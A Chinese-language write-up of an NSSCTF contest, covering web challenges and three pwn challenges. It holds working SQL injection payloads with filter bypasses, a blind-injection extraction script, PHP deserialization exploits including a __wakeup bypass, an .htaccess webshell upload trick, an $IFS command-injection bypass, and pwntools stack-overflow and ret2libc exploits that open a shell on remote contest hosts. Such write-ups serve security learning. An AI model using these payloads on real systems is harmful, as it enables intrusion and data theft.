一个线上赛,这个NSSCTF最爽的就是没有靶机操作的一分钟冷却,10.11比赛结束,但是我还要看看工控,所以不打这个比赛了,先把wp写了,pwn入门真TM艰难
WEB
前面送分题,中间的也是基础题,后面搜知识点现学现用,最后俩RCE实在做不出来
gift_F12
藏在了JS代码里,我还以为要改时间,歌还不错
caidao
太直白了,但我偏用蚁剑
jicao
基操
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
Payload:GET: ?json={"x":"wllm"}
POST: id=wllmNB
Do_you_know_http
BP改包后,他出现success,要我自己跳转,不如HackBar
easy_md5
没啥说的
easy_sql
杰哥?入门sql
Payload: ?wllm=-1' union select 1,(select group_concat(flag) from test_db.test_tb),3--+
easyupload1.0
抓包改类型。经典image/jpeg,这题flag在环境变量$FLAG里
easyupload2.0
后缀改成phtml,类型image/jpeg,flag在上级目录
easyrce
先system(‘ls /’);知道了flag文件名再cat
babyrce
Cookie添加admin=1,提示rasalghul.php,进入页面过滤了空格,用 I F S 代替,先 ‘ l s IFS代替,先`ls IFS代替,先‘lsIFS/`看文件,再cat
送分题结束了
ez_unserialize
注释里是robots协议的格式,直接去robots看看,提示了/cl45s.php
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
简单反序列化,都不是pop链
思路1:就是生成对象,触发__construct()
,它会初始化属性,然后我们之后赋值即可,销毁对象触发__destruct()
,注意,销毁后不能序列化此对象了,所以我们需要在销毁前把他复制给另一个对象
exp:
<?php
class wllm{
public $admin;
public $passwd;
}
$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
$b=$a;
unset($a);
echo(serialize($b));
?>
思路2:直接把__construct
里赋值语句改了
exp:
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
$b=$a;
unset($a);
echo(serialize($b));
?>
Payload一样的O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
include
题目名是包含,传一下flag.php试试
只要file有值就亮源码,最后一句仍然包含了文件,伪协议读取flag.php
BASE64解码就是flag
error
输入测试,布尔盲注,能执行就有没有提示...........
字符串,可以写脚本也可以直接sqlmap
自己写的脚本:
import requests
url = "http://1.14.71.254:28019/index.php"
cont = "没有提示..........."
def get_database_length():
for i in range(1, 10):
payload = "?id=1'and length(database())=%d --+" % i
uri = url + payload
result = requests.get(uri)
if cont in result.text:
print("数据库名长度为:%d" % i)
return i
def get_database_name():
name = ""
for i in range(1, db_len + 1):
for j in "abcdefghijklmnopqrstuvwxyz_":
payload = "?id=1'and substr(database(),%d,1)='%s' --+" % (i, j)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
name += j
print("数据库名为:%s" % name)
return name
def get_table_number():
num = 0
while 1:
payload = "?id=0' union select 1,2,table_name from information_schema.tables where " \
"table_schema='%s' limit %d,1--+" % (db_name, num)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
num += 1
else:
break
print("表的数目为:%d" % num)
return num
def get_table_length(n):
for i in range(1, 20):
payload = "?id=1' and length((select table_name from information_schema.tables where " \
"table_schema='%s' limit %d,1))=%d --+" % (db_name, n, i)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
return i
def get_table_names():
names = []
for i in range(0, tb_num):
name = ""
tb_len = get_table_length(i)
for j in range(0, tb_len + 1):
for k in "abcdefghijklmnopqrstuvwxyz_":
payload = "?id=1' and substr((select table_name from information_schema.tables where " \
"table_schema='%s' limit %d,1),%d,1)='%s' --+" % (db_name, i, j, k)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
name += k
names.append(name)
print(names)
return names
def get_column_num(i):
num = 0
while 1:
payload = "?id=0' union select 1,2,column_name from information_schema.columns where " \
"table_name='%s' limit %d,1--+" % (tb_names[i], num)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
num += 1
else:
break
print("第%d个表,有%d列" % (i + 1, num))
return num
def get_column_length(i, j):
for n in range(1, 20):
payload = "?id=1' and length((select column_name from information_schema.columns where " \
"table_name='%s' limit %d,1))=%d --+" % (tb_names[i], j, n)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
return n
def get_column_name():
names = [[] for _ in range(tb_num)]
for i in range(0, tb_num):
cl_num = get_column_num(i)
for j in range(0, cl_num):
name = ""
cl_len = get_column_length(i, j)
for y in range(1, cl_len + 1):
for k in "qwertyuiopasdfghjklzxcvbnm_":
payload = "?id=1' and substr((select column_name from information_schema.columns where " \
"table_name='%s' limit %d,1),%d,1)='%s' --+" % (tb_names[i], j, y, k)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
name += k
names[i].append(name)
print(names)
def get_data_num(i, j):
num = 0
for n in range(0, 20):
payload = "?id=0' union select 1,2,%s from %s limit %d,1 --+" % (j, i, n)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
num += 1
return num
def get_data_length(i, j, k):
for n in range(1, 20):
payload = "?id=1' and length((select %s from %s limit %d,1))=%d --+" % (j, i, k, n)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
return n
def get_data(i, j):
da = []
data_num = get_data_num(i, j)
for n in range(0, data_num):
d = ""
data_len = get_data_length(i, j, n)
for z in range(1, data_len + 1):
for k in "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-{}":
payload = "?id=1' and substr((select %s from %s limit %d,1),%d,1)='%s' --+" % (j, i, n, z, k)
uri = url + payload
result = requests.get(uri)
if cont in result.text:
d += k
da.append(d)
print(da)
if __name__ == '__main__':
db_len = get_database_length()
db_name = get_database_name()
tb_num = get_table_number()
tb_names = get_table_names()
get_column_name()
while 1:
table_name, column_name = input("输入表名列名查询数据,以空格间隔:").split()
get_data(table_name, column_name)
因为单线程所以有点慢,写脚本是为了练
sqlmap神器
no_wakeup
可爱
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
与上一题反序列化的区别就是,反序列化时会自动调用__wakeup()
,这道题当时想了很久,因为原本我的思路是wakeup调用之后再覆盖属性值,但是这个wakeup好像一直执行的样子,覆盖还是过不了,所以另一种思路,跳过__wakeup()
,这是漏洞CVE-2016-7124
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
exp:
<?php
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "wllm";
}
}
$a=new HaHaHa();
$b=$a;
unset($a);
echo(serialize($b));
?>
把生成的字符串属性改改
Payload:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
easyupload3.0
和.htaccess
配合,有此文件时会把jpg解析成php文件执行,所以先传一个.htaccess
,再把一句话木马改成jpg后缀传上去,蚁剑直接连jpg就行了
pop
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
这题也做了好久,思路是调用GetFlag包含flag.php,怎么调用?这个看起来只有w33m里__toString
的$this->w00m->{$this->w22m}();
这个写法我还是第一次见。所以我们需要调用toSring,在w22m里有一句echo $this->w00m;
所以把这个类对象的w00m属性定义为w33m的对象即可,之后销毁w44m对象以调用destruct
exp:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w44m();
$b=new w22m();
$b->w00m=new w33m();
$b->w00m->w00m=$a;
$b->w00m->w22m='Getflag';
unset($a);
echo serialize($b);
?>
注意,由于是受保护的属性,所以要对payload进行处理,原理在此
注意,生成的反序列化字符串里属性长度比字符串长,%00
算1字长,所以长度不用改,只要在最里层类名和属性名前加%00即可,有的类名显示为*
不影响
Payload:O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
PseudoProtocols
题目伪协议,进来让我找hint.ph,直接伪协议读,然后解码,提示在test2222222222222.php
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
很多时候做不出来,毫无思路,就是因为知识点储备不够,很多利用点即使你不知道原理会用就好,这题我搜了好久关于file_get_contents
的技巧,后来发现这题是利用php://input
伪协议,它在file_get_contents
里,可以直接利用POST传值,这里直接POST值就行,不用写参数名
注意HackBar在POST传值时,若值是无参数名的好像传不过去,这题我纠结好久不明白全对为啥不出flag,BP抓包发现没有post值,所以遇到无参数名POST传值,最好用BP
sql
这题见招拆招,测试后发现单引号包裹,过滤了--+
,用%23
代替,过滤了空格,用/**/
代替,过滤=
,用regexp代替
测试列数
3列正常回显,4列报错,说明只有3列
测试回显点
2,3位回显
爆库+爆表
Payload:
?wllm=-1'/**/union/**/select/**/1,database(),(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp'test_db')%23
爆字段+爆数据
Payload:
?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),(select/**/group_concat(flag)from/**/test_db.LTLT_flag)%23
这里好像限制了输出20位,所以想到使用字符串截断,截取某段进行输出,但是测试后发现substr
、substring
、left
、right
、explode
都被过滤了,在php手册中找到mid
函数,这个没被过滤,调整截取位置即可
第一段flag已经得到:NSSCTF{19791ad8-fbf5
第二次爆数据Payload:
?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),17,40)%23
第二段flag:fbf5-4e14-bda6-e1b0a
第三次爆数据Payload:
?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),30,50)%23
第三段flag:6-e1b0a3e10da0}
连接起来就行
PWN
pwn入门,编译原理+数据结构+二进制漏洞头疼,5道pwn做出了3道,步骤简单,但有时候一句代码原理纠结一两天
nc签到
nc一堆乱码,IDA打开附件看看
这是我第一次用到IDA的Hex View,大致意思是黑名单里有一些指令,接收用户输入,如果输入值里含有黑名单里的值,就退出程序,否则就执行,过滤了基本指令和空格,flag一般都在根目录下,tac$IFS/flag
即可
有时候这个bash输入啥都不回显,关掉重新nc即可
gift_pwn
标准操作
运行也就一个输入,IDA打开
就一个vuln()函数,左边列表有gift,是个后门函数,后面会用到,进入vuln函数
明显的栈溢出,然后打开gift函数的汇编
payload也就是16个填充栈的字符+8字节填充ebp寄存器+ /bin/sh的地址
exp:
from pwn import *
io=remote('1.14.71.254',28090)
bin_sh_addr=0x00000000004005C4
payload=b'A'*(16+8)+p64(bin_sh_addr)
io.sendline(payload)
io.interactive()
whitegive_pwn
理解好久那个函数偏移量,我理论没错啊,但是exp没用,后来请教了许多pwn佬,才基本理解,总的来说,比上题少了后门,连字符串都没有,所以需要使用ROP(返回导向编程),这个返回导向我感觉就是用碎片做跳板ret到下一个链子,但是学的时候又有参数,搞得乱了,这题exp能写出来,还是练得少
检查文件
没开PIE万幸
这次的“gift”是puts函数,用这个函数去输出puts真实地址
整体思路就是,溢出,rop碎片跳转,put的got地址,这一步说是为了初始化,但我感觉是为了调用puts。然后连接puts的plt地址,这个就是参数,程序只有一句输入就结束了,后续操作需要再次运行程序,所以加上main函数地址
随后对返回的puts地址切片填充处理,查找相应libc,计算出libc基址,根据基址计算出system函数以及字符串“\bin\sh”地址。再次发送溢出payload get shell
exp:
from pwn import *
from LibcSearcher import *
p=remote('1.14.71.254',28132)
e=ELF('./pwn3')
put_plt=e.plt['puts']
put_got=e.got['puts']
main_add=e.sym['main']
rdi_add=0x0000000000400763
p.sendline(b'a'*0x18+p64(rdi_add)+p64(put_got)+p64(put_plt)+p64(main_add))
d=p.read()[:-1]
d=u64(d.ljust(8,b'\x00'))
libc=LibcSearcher('puts',d)
off=d-libc.dump('puts')
sys_add=off+libc.dump('system')
bin_add=off+libc.dump('str_bin_sh')
p.sendline(b'a'*0x18+p64(rdi_add)+p64(bin_add)+p64(sys_add)+p64(main_add))
p.interactive()
这里有个要注意的地方,做pwn题的时候由于环境不同,会发生本地通远程不通,远程通本地不通,甚至是两台电脑一台通另一台不通的情况。我这次碰到的问题是libc的问题,我本地查找libc以及在线查找libc显示6个libc库,而且不能用,我一直以为是我没更新,折腾一晚上,各种版本的libc-database轮番下载安装,甚至github找了台做pwn题的虚拟机。后来才发现只要我连靶机就会有另一套libc,吐了,下次不给libc的题就是sb,对pwn新手极其不友好
到这里吧,以后有机会更新的话再更新,还要恶补工控CTF,工控的流量分析,图纸,各种通信协议太难了